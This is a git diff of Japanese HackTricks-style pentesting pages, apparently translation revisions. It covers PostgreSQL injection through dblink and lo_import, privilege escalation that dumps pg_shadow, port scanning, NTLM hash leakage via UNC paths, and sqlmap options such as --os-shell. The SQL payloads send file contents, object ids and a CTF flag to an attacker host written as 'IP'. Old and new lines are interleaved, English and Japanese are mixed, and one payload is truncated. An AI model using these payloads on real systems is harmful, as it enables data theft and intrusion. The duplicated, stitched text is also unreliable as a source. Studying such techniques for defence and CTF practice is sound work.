ファイルを読むために大きなオブジェクトを使用することが可能です([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html))。`lo_import` を使用してファイルの内容を `pg_largeobject` カタログにロードすることができます。クエリが成功すれば、オブジェクトの `oid` を取得できます。
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
```
@ -121,11 +119,11 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import(
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
0x0050: 706f 7374 6772 6573 0000 postgres..
```
`oid`として24668を取得したので、`lo_import`関数を使用できます。残念ながら、`lo_get(24668)`を使用して大きなオブジェクトの内容を取得しようとしても、または`pg_largeobject`カタログに直接アクセスしようとしても、結果は得られません。**現在のユーザーには新しいオブジェクトの内容を読み取る権限がないようです。**
`oid`が24668とわかったので、`lo_import`関数を使用できます。残念ながら、`lo_get(24668)`を使って大きなオブジェクトの内容を取得しようとしても、または直接`pg_largeobject`カタログにアクセスしようとしても、結果は得られません。**現在のユーザーには新しいオブジェクトの内容を読権限がないようです。**
PostgreSQLの大きなオブジェクトのドキュメントを読んだ後、**大きなオブジェクトにはACLアクセス制御リストが存在する**ことがわかります。つまり、現在のユーザーが読み取りを許可されているACLを持つ古いオブジェクトがあれば、そのオブジェクトの内容を外部に漏洩させることができます。
PostgreSQLの大きなオブジェクトに関するドキュメントを読むと、**大きなオブジェクトにはACL**(アクセス制御リスト)があることがわかります。つまり、現在のユーザーが読むことを許可されているACLを持つ古いオブジェクトがあれば、そのオブジェクトの内容を抽出することができます。
`pg_largeobject_metadata`から利用可能な大きなオブジェクトの`oid`のリストを取得することができます。
`pg_largeobject_metadata`から抽出することで、利用可能な大きなオブジェクトの`oid`のリストを取得できます。
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
```
@ -147,31 +145,31 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg
.....
.....
```
私たちはいくつかの`oid`を手に入れました。オブジェクトの内容を読み込むために`lo_get`を使用してみることができます。例えば、`lo_get(16439)`は`/etc/passwd`の内容を読み込みます。`lo_gets`の結果は`bytea`なので、クエリに追加するために`UTF8`に変換する必要があります。
```markdown
`oid`の集まりを手に入れました。オブジェクトの内容を読み込むために`lo_get`を使用してみることができます。例えば、`lo_get(16439)`は`/etc/passwd`の内容を読み込みます。`lo_get`の結果は`bytea`なので、クエリに追加するためには`UTF8`に変換する必要があります。
フラグファイルが以前に読み込まれたかどうかを確認するために、最も低い`oid`を持ついくつかのオブジェクトを読み込んでみることができます。フラグファイルオブジェクトは`oid` 16444で存在します。フラグには空白がないので、そのまま表示することができます。
フラグファイルが以前に読み込まれたかどうかを確認するために、最も低い`oid`いくつかのオブジェクトを読み込んでみることができます。フラグファイルオブジェクトは`oid` 16444で存在しています。フラグには空白がないので、そのまま表示することができます。
フラグを読み込むためには:
フラグを読み込むには:
```
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
```
#### oidの詳細情報
#### oidの詳細情報:
* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -1,43 +1,46 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
</details>
**PostgreSQL 9.1**以降、追加モジュールのインストールは簡単です。[登録された拡張機能(`dblink`など)](https://www.postgresql.org/docs/current/contrib.html)は[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)を使用してインストールできます。
**PostgreSQL 9.1**以降、追加モジュールのインストールは簡単です。[`dblink`のような登録済みの拡張機能](https://www.postgresql.org/docs/current/contrib.html)は[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)でインストールできます:
```sql
CREATE EXTENSION dblink;
```
度dblinkがロードされると、いくつかの興味深いトリックを実行することができるかもしれません。
旦dblinkをロードすると、いくつかの興味深いトリックを実行できるようになります
## 権昇格
## 権昇格
`pg_hba.conf`ファイルは、パスワードを知る必要なく、**localhostの任意のユーザー**からの**接続を許可する**ように誤って設定されている可能性があります。このファイルは通常、`/etc/postgresql/12/main/pg_hba.conf`にあり、誤った設定は次のようになります:
ファイル `pg_hba.conf` は、パスワードを知る必要なく**任意のユーザーとして** **localhostからの接続を許可する**ように誤って設定されている可能性があります。このファイルは通常 `/etc/postgresql/12/main/pg_hba.conf` にあり、誤った設定は次のようになります:
```
local all all trust
```
_この設定は、管理者がパスワードを忘れた場合に、dbユーザーのパスワードを変更するためによく使用されるため、時々見つけることができます。_\
_pg\_hba.confファイルはpostgresユーザーとグループによってのみ読み取り可能で、postgresユーザーによってのみ書き込み可能です。_
_Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it._\
管理者がパスワードを忘れた時にDBユーザーのパスワードを変更するためによく使われる設定ですので、時々見かけることがあります。
このケースは、**既に**被害者の中に**シェル**がある場合に**有用**です。これにより、postgresqlデータベースに接続することができます。
_Note also that the file pg\_hba.conf is readable only by postgres user and group and writable only by postgres user._
また、pg\_hba.confファイルはpostgresユーザーとグループのみが読み取り可能で、postgresユーザーのみが書き込み可能であることに注意してください。
別の可能な設定ミスは、次のようなものです:
This case is **useful if** you **already** have a **shell** inside the victim as it will allow you to connect to postgresql database.
このケースは、被害者のシステム内に**既に**シェルを持っている場合に**役立ちます**。これにより、postgresqlデータベースに接続することができます。
Another possible misconfiguration consist on something like this:
別の可能な誤設定は、以下のようなものです:
```
host all all 127.0.0.1/32 trust
```
ローカルホストからの誰でも任意のユーザーとしてデータベースに接続できるようになります。\
この場合、そして**`dblink`**関数が**動作している**場合、既に確立された接続を介してデータベースに接続し、アクセスできないはずのデータにアクセスすることで、特権を昇格させることができます。
ローカルホストから任意のユーザーとしてデータベースに接続できるようになります。
この場合、**`dblink`** 関数が**動作している**場合、既に確立された接続を介してデータベースに接続し、アクセスできるはずのないデータにアクセスすることで**権限を昇格**できます:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -51,11 +54,11 @@ dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
**この攻撃に関する詳細情報は、[この論文](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)** **で見つけることができます**
**この攻撃に関する**[**詳細情報はこの論文で確認できます**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**。**
## ポートスキャン
`dblink_connect`を悪用することで、**オープンポートを検索**することもできます。もし**この関数が機能しない場合は、`dblink_connect_u()`を使用してみるべきです**。ドキュメントによれば、_`dblink_connect_u()`は`dblink_connect()`と同じですが、非スーパーユーザーも任意の認証方法を使用して接続できるようになります。_
`dblink_connect`を悪用することで、**オープンポートを探索**することもできます。その**関数が機能しない場合は、`dblink_connect_u()`を使用してみてください**。ドキュメントによると _`dblink_connect_u()`は`dblink_connect()`と同一ですが、スーパーユーザーでなくても任意の認証方法を使用して接続を許可する点が異なります_。
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -82,21 +85,11 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
次に、`dblink_connect`または`dblink_connect_u`を使用する前に、次のコマンドを実行する必要がある場合があります。
**`dblink_connect` や `dblink_connect_u` を使用する**前に、以下のコマンドを実行する必要があるかもしれません:
```
CREATE extension dblink;
```
## UNCパス - NTLMハッシュの漏洩
When an attacker has access to a user's NTLM hash, they can use it to authenticate themselves as that user on other systems that use NTLM authentication. One way to obtain a user's NTLM hash is through the disclosure of UNC paths.
UNC (Universal Naming Convention) paths are used to access shared resources on a network. They follow the format `\\server\share\file`. When a user accesses a file on a remote server using a UNC path, their NTLM hash is sent to the server for authentication.
To exploit this, an attacker can set up a malicious server and create a file with a UNC path that points to their server. When the user accesses this file, their NTLM hash is sent to the attacker's server, allowing them to capture it.
This technique can be used for privilege escalation, as the attacker can use the captured NTLM hash to authenticate themselves as the user on other systems. It is important to note that this technique requires the user to access the file with the UNC path, so social engineering or other methods may be necessary to trick the user into doing so.
To protect against this type of attack, it is recommended to educate users about the risks of accessing files with UNC paths from untrusted sources. Additionally, implementing strong password policies and using multi-factor authentication can help mitigate the impact of NTLM hash disclosure.
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
@ -119,16 +112,14 @@ SELECT testfunc();
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -1,23 +1,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
# SQLmapの基本的な引数
## 一般的な引数
## 一般的
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -45,28 +43,6 @@
--passwords #Get passwords of users in DB
```
### DBデータ
The `--dump` option can be used to retrieve the data from the database. By default, it will dump all the tables in the database. However, you can specify the tables you want to dump using the `--tables` option.
```plaintext
$ sqlmap -u "http://example.com/vuln.php?id=1" --dump
```
This command will retrieve all the data from the database and display it in the console. You can also specify the output format using the `--output` option. For example, to save the data in a CSV file, you can use the following command:
```plaintext
$ sqlmap -u "http://example.com/vuln.php?id=1" --dump --output=data.csv
```
By default, sqlmap will retrieve all the columns from the tables. However, you can specify the columns you want to retrieve using the `--columns` option. For example, to retrieve only the `username` and `password` columns from the `users` table, you can use the following command:
```plaintext
$ sqlmap -u "http://example.com/vuln.php?id=1" --dump --tables=users --columns=username,password
```
This command will retrieve only the specified columns from the `users` table and display them in the console.
Remember to always use these techniques responsibly and with proper authorization.
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -75,172 +51,24 @@ Remember to always use these techniques responsibly and with proper authorizatio
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# インジェクション
# インジェクションの場
## Burp/ZAPからのキャプチャ
## Burp/ZAPキャプチャから
リクエストをキャプチャし、req.txtファイルを作成します
リクエストをキャプチャし、req.txtファイルを作成します
```bash
sqlmap -r req.txt --current-user
```
## GETリクエストのインジェクション
In this section, we will discuss how to perform SQL injection attacks on GET requests using sqlmap.
このセクションでは、sqlmapを使用してGETリクエストに対してSQLインジェクション攻撃を行う方法について説明します。
### Basic Usage
基本的な使用方法
To perform a SQL injection attack on a GET request, you can use the following command:
GETリクエストに対してSQLインジェクション攻撃を実行するには、次のコマンドを使用します。
```bash
sqlmap -u "http://example.com/page.php?id=1" --dbs
```
Replace the URL with the target URL that contains the vulnerable parameter. The `--dbs` option is used to enumerate the available databases.
脆弱なパラメータを含む対象のURLでURLを置き換えます。 `--dbs`オプションは利用可能なデータベースを列挙するために使用されます。
### Enumerating Databases
データベースの列挙
To enumerate the databases, you can use the following command:
データベースを列挙するには、次のコマンドを使用します。
```bash
sqlmap -u "http://example.com/page.php?id=1" --dbs
```
This command will display a list of available databases.
このコマンドは利用可能なデータベースのリストを表示します。
### Enumerating Tables
テーブルの列挙
To enumerate the tables in a specific database, you can use the following command:
特定のデータベース内のテーブルを列挙するには、次のコマンドを使用します。
```bash
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
```
Replace `database_name` with the name of the target database. This command will display a list of tables in the specified database.
`database_name`を対象データベースの名前に置き換えます。このコマンドは指定したデータベース内のテーブルのリストを表示します。
### Dumping Data
データのダンプ
To dump the data from a specific table, you can use the following command:
特定のテーブルからデータをダンプするには、次のコマンドを使用します。
```bash
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump
```
Replace `database_name` with the name of the target database and `table_name` with the name of the target table. This command will dump the data from the specified table.
`database_name`を対象データベースの名前に、`table_name`を対象テーブルの名前に置き換えます。このコマンドは指定したテーブルからデータをダンプします。
### Conclusion
結論
Performing SQL injection attacks on GET requests can be done using sqlmap. By enumerating databases, tables, and dumping data, you can extract sensitive information from vulnerable web applications.
GETリクエストに対するSQLインジェクション攻撃は、sqlmapを使用して行うことができます。データベースの列挙、テーブルの列挙、データのダンプを行うことで、脆弱なWebアプリケーションから機密情報を抽出することができます。
## GETリクエストインジェクション
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POSTリクエストのインジェクション
In some cases, the target application may use POST requests to send data to the server. SQL injection can also be performed on these POST requests. SQLMap provides options to specify the POST data and the injection point.
いくつかの場合、対象のアプリケーションはデータをサーバーに送信するためにPOSTリクエストを使用する場合があります。これらのPOSTリクエストでもSQLインジェクションを実行することができます。SQLMapは、POSTデータとインジェクションポイントを指定するためのオプションを提供しています。
To perform a SQL injection on a POST request, you need to capture the request using a proxy tool like Burp Suite or OWASP ZAP. Once you have the request captured, you can use SQLMap to automatically detect and exploit the SQL injection vulnerability.
POSTリクエストでSQLインジェクションを実行するには、Burp SuiteやOWASP ZAPなどのプロキシツールを使用してリクエストをキャプチャする必要があります。リクエストをキャプチャしたら、SQLMapを使用してSQLインジェクションの脆弱性を自動的に検出し、攻撃することができます。
To specify the POST data, you can use the `--data` option followed by the POST data in the format `param1=value1&param2=value2`. You can also use the `--data-file` option to specify a file containing the POST data.
POSTデータを指定するには、`--data`オプションを使用し、POSTデータを`param1=value1&param2=value2`の形式で指定します。また、POSTデータが含まれるファイルを指定するには、`--data-file`オプションを使用することもできます。
To specify the injection point, you can use the `--param` option followed by the parameter name. For example, `--param username` will specify the injection point as the `username` parameter.
インジェクションポイントを指定するには、`--param`オプションを使用し、パラメータ名を指定します。例えば、`--param username`はインジェクションポイントを`username`パラメータとして指定します。
Once you have specified the POST data and the injection point, you can run SQLMap with the `--data` and `--param` options to perform the SQL injection on the POST request.
POSTデータとインジェクションポイントを指定したら、SQLMapを`--data`オプションと`--param`オプションと共に実行し、POSTリクエストに対してSQLインジェクションを実行することができます。
## POSTリクエストインジェクション
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## ヘッダーとその他のHTTPメソッドにおけるインジェクション
In some cases, it is possible to perform SQL injections not only in the request parameters but also in the headers or other HTTP methods. This can be useful when the application uses headers or other methods to pass data to the backend database.
いくつかのケースでは、SQLインジェクションをリクエストパラメータだけでなく、ヘッダーやその他のHTTPメソッドにも実行することができます。これは、アプリケーションがヘッダーやその他のメソッドを使用してバックエンドデータベースにデータを渡す場合に役立ちます。
### Injection in Headers
#### User-Agent Header
The User-Agent header is commonly used by web browsers to identify themselves to the server. In some cases, it is possible to inject SQL code into this header and manipulate the backend database.
ユーザーエージェントヘッダーは、ウェブブラウザがサーバーに自身を識別するために一般的に使用されます。いくつかのケースでは、このヘッダーにSQLコードをインジェクションし、バックエンドデータベースを操作することが可能です。
To test for SQL injection in the User-Agent header, you can use the following command:
ユーザーエージェントヘッダーに対するSQLインジェクションをテストするには、次のコマンドを使用できます。
```plaintext
sqlmap -u "http://example.com" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'; SELECT SLEEP(5)-- -"
```
#### Referer Header
The Referer header is used to indicate the URL of the page that linked to the current page. Similar to the User-Agent header, it is possible to inject SQL code into this header and manipulate the backend database.
リファラヘッダーは、現在のページにリンクしたページのURLを示すために使用されます。ユーザーエージェントヘッダーと同様に、このヘッダーにSQLコードをインジェクションし、バックエンドデータベースを操作することが可能です。
To test for SQL injection in the Referer header, you can use the following command:
リファラヘッダーに対するSQLインジェクションをテストするには、次のコマンドを使用できます。
```plaintext
sqlmap -u "http://example.com" --headers="Referer: http://example.com'; SELECT SLEEP(5)-- -"
```
### Injection in Other HTTP Methods
Apart from GET and POST requests, there are other HTTP methods that can be used to send data to the server. These methods include PUT, DELETE, OPTIONS, HEAD, and more. It is possible to inject SQL code into these methods and manipulate the backend database.
GETとPOSTリクエスト以外にも、データをサーバーに送信するために使用できる他のHTTPメソッドがあります。これらのメソッドには、PUT、DELETE、OPTIONS、HEADなどがあります。これらのメソッドにSQLコードをインジェクションし、バックエンドデータベースを操作することが可能です。
To test for SQL injection in other HTTP methods, you can use the following command:
他のHTTPメソッドに対するSQLインジェクションをテストするには、次のコマンドを使用できます。
```plaintext
sqlmap -u "http://example.com" --method=PUT --data="param1=value1&param2=value2'; SELECT SLEEP(5)-- -"
```
Remember to replace the URL, headers, and data with the appropriate values for your target application.
対象のアプリケーションに適切な値でURL、ヘッダー、およびデータを置き換えることを忘れないでください。
## ヘッダーおよびその他のHTTPメソッドにおけるインジェクション
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -255,59 +83,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## セカンドオーダーインジェクション
A second order injection occurs when user input is stored in a database or other data storage system, and later used in a different context without proper sanitization or validation. This can lead to SQL injection vulnerabilities that are not immediately apparent during the initial input, but can be exploited later on.
セカンドオーダーインジェクションは、ユーザーの入力がデータベースや他のデータストレージシステムに保存され、後で適切なサニタイズやバリデーションなしに別のコンテキストで使用される場合に発生します。これにより、最初の入力時にはすぐには明らかにならないSQLインジェクションの脆弱性が生じる可能性がありますが、後で悪用される可能性があります。
For example, let's say a web application allows users to submit comments that are stored in a database. The application then retrieves these comments and displays them on a webpage. If the application does not properly sanitize or validate the comments before displaying them, an attacker could inject malicious SQL code into their comment. This code would then be stored in the database and executed when the comments are displayed on the webpage, potentially leading to unauthorized access or data leakage.
たとえば、ウェブアプリケーションがユーザーにコメントを提出することを許可し、これらのコメントがデータベースに保存されるとします。その後、アプリケーションはこれらのコメントを取得し、ウェブページ上に表示します。アプリケーションがコメントを表示する前に適切にサニタイズやバリデーションを行わない場合、攻撃者はコメントに悪意のあるSQLコードをインジェクションすることができます。このコードはデータベースに保存され、コメントがウェブページ上に表示される際に実行されるため、不正なアクセスやデータの漏洩の可能性があります。
To detect and exploit second order injection vulnerabilities, tools like SQLMap can be used. These tools analyze the application's behavior and attempt to inject malicious SQL code to test for vulnerabilities. By identifying and fixing these vulnerabilities, developers can ensure the security of their applications and protect against potential attacks.
セカンドオーダーインジェクションの脆弱性を検出し、悪用するためには、SQLMapなどのツールを使用することができます。これらのツールはアプリケーションの動作を分析し、脆弱性をテストするために悪意のあるSQLコードをインジェクションしようとします。これらの脆弱性を特定し修正することで、開発者はアプリケーションのセキュリティを確保し、潜在的な攻撃から保護することができます。
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## シェル
Shellコマンドを実行するために、SQLMapはいくつかのオプションを提供しています。以下にいくつかの一般的なオプションを示します。
### `--os-shell`
このオプションを使用すると、SQLMapはOSシェルを開きます。これにより、対象のシステムでコマンドを実行することができます。
```bash
sqlmap -u <target> --os-shell
```
### `--sql-shell`
このオプションを使用すると、SQLMapはSQLシェルを開きます。これにより、対象のデータベースに対してSQLクエリを実行することができます。
```bash
sqlmap -u <target> --sql-shell
```
### `--os-pwn`
